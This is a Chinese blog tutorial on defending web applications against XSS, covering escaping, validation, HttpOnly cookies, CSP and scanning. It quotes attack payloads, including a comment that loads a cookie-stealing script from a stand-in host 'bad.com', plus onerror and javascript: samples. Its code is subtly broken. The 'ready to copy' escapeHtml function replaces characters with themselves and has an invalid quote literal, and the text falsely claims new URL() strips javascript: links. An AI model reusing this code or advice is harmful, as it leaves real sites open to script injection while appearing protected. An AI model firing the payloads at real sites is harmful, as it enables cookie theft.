先搞懂:XSS到底是怎么“攻击”你的?
要防XSS,得先明白它的套路。XSS(Cross-Site Scripting)本质是攻击者把恶意脚本注入你的Web页面,让用户的浏览器执行这些脚本——相当于在你的网站里“插了个木马”,能偷Cookie、篡改页面内容,甚至冒充用户操作。
 
XSS分三类,我用“生活化场景”给你翻译:
– 反射型XSS:“一次性诈骗短信”——攻击者把恶意脚本藏在URL里(比如?search=<script>alert('偷你Cookie')</script>),用户点链接后,网站直接把这个参数“反射”给浏览器执行。比如搜索框没防护的话,输入这段代码会直接弹框。
– 存储型XSS:“在你家留了个监控”——攻击者把恶意脚本存到你的数据库(比如评论区发<img src=x onerror=stealCookie()>“),其他用户打开页面时,脚本从数据库里“读出来”执行。这是最危险的,因为能攻击所有访问该页面的人。
– DOM型XSS:“你家孩子自己开了门”——攻击者利用前端JS操作DOM时的漏洞(比如document.write(location.hash.slice(1))),把恶意脚本通过URL的哈希值传给前端,前端直接执行。比如单页应用里用eval()处理用户输入,就很容易中招。
举个真实案例:某电商网站的评论区没做防护,攻击者发了条评论<script src="https://bad.com/steal.js"></script>,结果所有看这条评论的用户,Cookie都被偷走,账号被用来刷单。
前端防护:做“第一层滤网”,但别当“最后一道墙”
前端是用户和网站的“第一道接触点”,能快速拦截大部分“明显的坏请求”,但绝对不能依赖前端防护——因为攻击者可以用Postman直接发请求绕过前端验证!
1. 输入过滤:把“坏字符”拦在门外
前端可以用正则表达式过滤用户输入中的特殊字符(比如<、>、"、'、&),但要注意:过滤的是“不可信输入”(比如用户填的表单、评论、搜索关键词),不是“可信内容”(比如管理员的富文本编辑)。
给你个现成的前端转义函数(直接复制用):
// 转义HTML特殊字符,防止脚本执行
function escapeHtml(str) {
  if (!str) return '';
  return str
    .replace(/&/g, '&')  // & → &
    .replace(/</g, '<')   // < → <
    .replace(/>/g, '>')   // > → >
    .replace(/"/g, '"') // " → "
    .replace(/'/g, ''')  // ' → '
    .replace(/`/g, '`'); // ` → `(防止模板字符串攻击)
}
// 正确用法:用textContent展示转义后的内容
const userInput = document.getElementById('comment-input').value;
document.getElementById('comment-list').textContent = escapeHtml(userInput);
2. 避免“危险的DOM操作”
很多DOM型XSS都是“自己作出来的”——比如用innerHTML、document.write、eval()直接处理用户输入。换成安全的DOM方法:
– 用textContent代替innerHTML(textContent会把内容当纯文本,不会解析HTML);
– 用setAttribute代替直接赋值element.src/element.href(防止javascript:伪协议攻击,比如<a href="javascript:steal()">);
– 禁止用eval()、new Function()处理用户输入(比如eval(userInput)等于“直接让攻击者写JS”)。
❌ 错误示范:
// 危险!用户输入`javascript:alert(1)`会执行
document.getElementById('link').href = userInput;
✅ 正确示范:
// 检查URL是否合法,再设置href
const safeHref = new URL(userInput).href; // 自动过滤伪协议
document.getElementById('link').setAttribute('href', safeHref);
后端防护:做“最后一道安全门”,必须“铁面无私”
后端是数据的“最终守护者”,不管前端有没有过滤,后端都要再做一次验证!因为攻击者可以绕过前端,直接给后端发请求。
1. 输入验证:“只接受你想要的数据”
后端要做“白名单验证”——只允许符合要求的输入(比如手机号必须是11位数字,邮箱必须符合xxx@xxx.com格式),而不是“黑名单”(比如“禁止<script>标签”——攻击者可以用<img src=x onerror=alert(1)>绕过)。
举个PHP的例子(其他语言逻辑一样):
// 验证用户输入的“用户名”:只能是字母、数字、下划线,长度2-16位
$username = $_POST['username'];
if (!preg_match('/^[a-zA-Z0-9_]{2,16}$/', $username)) {
  die('用户名格式错误');
}
// 验证“邮箱”:用PHP内置函数,比正则更可靠
$email = $_POST['email'];
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
  die('邮箱格式错误');
}
2. 输出编码:把“坏内容”变成“安全文本”
不管数据是从数据库读的,还是用户刚提交的,输出到页面之前必须转义!不同的输出场景,用不同的编码方式:
– 输出到HTML标签内:用htmlspecialchars(PHP)、c:out(JSP)、escape_html(Python/Django);
– 输出到JS代码中:用json_encode(PHP)、JSON.stringify(JS)——把数据转成JSON格式,防止脚本注入;
– 输出到URL参数中:用urlencode(PHP)、encodeURIComponent(JS)——防止URL中的恶意字符。
给你个PHP的输出示例(数据库读出来的评论):
// 从数据库取评论(假设$comment是用户提交的内容)
$comment = $db->query("SELECT content FROM comments WHERE id=1")->fetchColumn();
// 输出时转义HTML,防止存储型XSS
echo '<div class="comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';
3. 设置“HttpOnly Cookie”:让脚本偷不到你的Cookie
XSS攻击的主要目的是偷Cookie——因为Cookie里存着用户的登录状态。设置HttpOnly属性后,JS无法读取Cookie,直接切断攻击者的“偷Cookie路径”!
不同语言的设置方法:
– Java:Cookie cookie = new Cookie("sessionId", "abc123"); cookie.setHttpOnly(true);
– PHP:setcookie("sessionId", "abc123", ["httponly" => true]);
– Node.js/Express:res.cookie("sessionId", "abc123", { httpOnly: true });
用CSP给网站加个“安全围墙”:拦截所有“不听话的脚本”
Content Security Policy(CSP)是浏览器提供的“终极防护手段”——它能限制网站加载哪些资源(脚本、样式、图片),甚至禁止执行inline脚本(比如<script>alert(1)</script>)。
1. 怎么设置CSP?
你可以在HTTP响应头里加Content-Security-Policy,或者在HTML的<meta>标签里加:
// 响应头设置(推荐,比meta更灵活)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' 'unsafe-inline'; img-src *;
<!-- meta标签设置(适合静态页面) -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.com">
2. 关键指令解释(记这几个就够):
| 指令 | 作用 | 示例 | 
|---|---|---|
| default-src | 所有资源的“默认规则” | 'self'(只允许本站资源) | 
| script-src | 允许加载的脚本来源 | 'self' https://trusted.com(允许本站和trusted.com的脚本) | 
| style-src | 允许加载的样式来源 | 'self' 'unsafe-inline'(允许本站样式和inline样式,因为很多框架用inline样式) | 
| img-src | 允许加载的图片来源 | *(允许所有图片,因为图片一般不会有安全问题) | 
| frame-src | 允许嵌入的iframe来源 | 'none'(禁止所有iframe,防止点击劫持) | 
3. 调试CSP:用Chrome开发者工具找问题
如果CSP设置错了,浏览器会在Console里报错(比如Refused to load script from 'https://bad.com' because it violates the following Content Security Policy directive: "script-src 'self'")。你可以根据报错信息调整CSP规则。
实战:常见场景的“针对性防护方案”
我把工作中遇到的“高频XSS场景”整理成了“解决方案清单”,直接对号入座:
场景1:用户评论区(存储型XSS)
- 前端:用markdown编辑器代替富文本(比如Marked.js),限制用户只能输入markdown语法(比如#、*、[]()),禁止HTML标签;
- 后端:验证评论长度(比如1-500字),用htmlspecialchars转义输出;
- 额外:设置CSP的script-src 'self',禁止加载外部脚本。
场景2:搜索框(反射型XSS)
- 前端:用escapeHtml过滤搜索关键词,用textContent展示搜索结果;
- 后端:对搜索参数做urlencode,防止URL中的恶意字符;
- 额外:禁止搜索参数中包含<、>等字符(比如preg_replace('/[<>]/', '', $search))。
场景3:单页应用(SPA,DOM型XSS)
- 用框架的“自动转义”:Vue的{{}}、React的{}会自动转义HTML,比自己写转义函数更可靠;
- 避免直接操作DOM:用Vue的v-text代替v-html,用React的dangerouslySetInnerHTML时必须先转义;
- 例子(Vue):
<!-- 安全:{{}}自动转义 --> <p>{{ userComment }}</p> <!-- 危险:v-html会解析HTML,除非你确定内容是安全的 --> <p v-html="safeContent"></p>
避开这些“防护误区”,别做“无用功”
最后提醒你几个90%的程序员都会犯的错,别踩坑:
– ❌ 误区1:“只过滤<script>标签就够了”——攻击者可以用<img src=x onerror=alert(1)>、<a href=javascript:steal()>“这样的payload绕过;
– ❌ 误区2:“前端过滤了,后端就不用管了”——攻击者可以用Postman直接发请求,绕开前端验证;
– ❌ 误区3:“CSP设置越严越好”——比如script-src 'none'会禁止所有脚本,导致网站无法运行;要平衡“安全”和“功能”;
– ❌ 误区4:“用了框架就不会有XSS”——Vue/React能防大部分DOM型XSS,但如果用v-html、dangerouslySetInnerHTML处理不可信内容,一样会中招;
– ❌ 误区5:“Cookie设置了HttpOnly就万事大吉”——HttpOnly能防偷Cookie,但不能防XSS篡改页面(比如把“加入购物车”改成“直接付款”)。
最后:定期做“XSS漏洞扫描”
防护不是“一劳永逸”的,你需要定期扫描网站——用工具自动找XSS漏洞:
– 免费工具:OWASP ZAP(自动扫描反射型、存储型XSS)、Chrome DevTools的“Security”面板(检查CSP是否生效);
– 付费工具:Acunetix、Nessus(适合企业级Web应用)。
比如用OWASP ZAP扫描你的网站,它会模拟攻击者发送恶意请求,告诉你“哪个页面有XSS漏洞”、“怎么修复”。
到这里,你已经掌握了XSS防护的“全流程方案”——从原理到实战,从前端到后端,从预防到扫描。记住:XSS防护的核心是“不信任任何用户输入”,所有不可信数据都要“过滤、转义、验证”!
原创文章,作者:,如若转载,请注明出处:https://zube.cn/archives/305
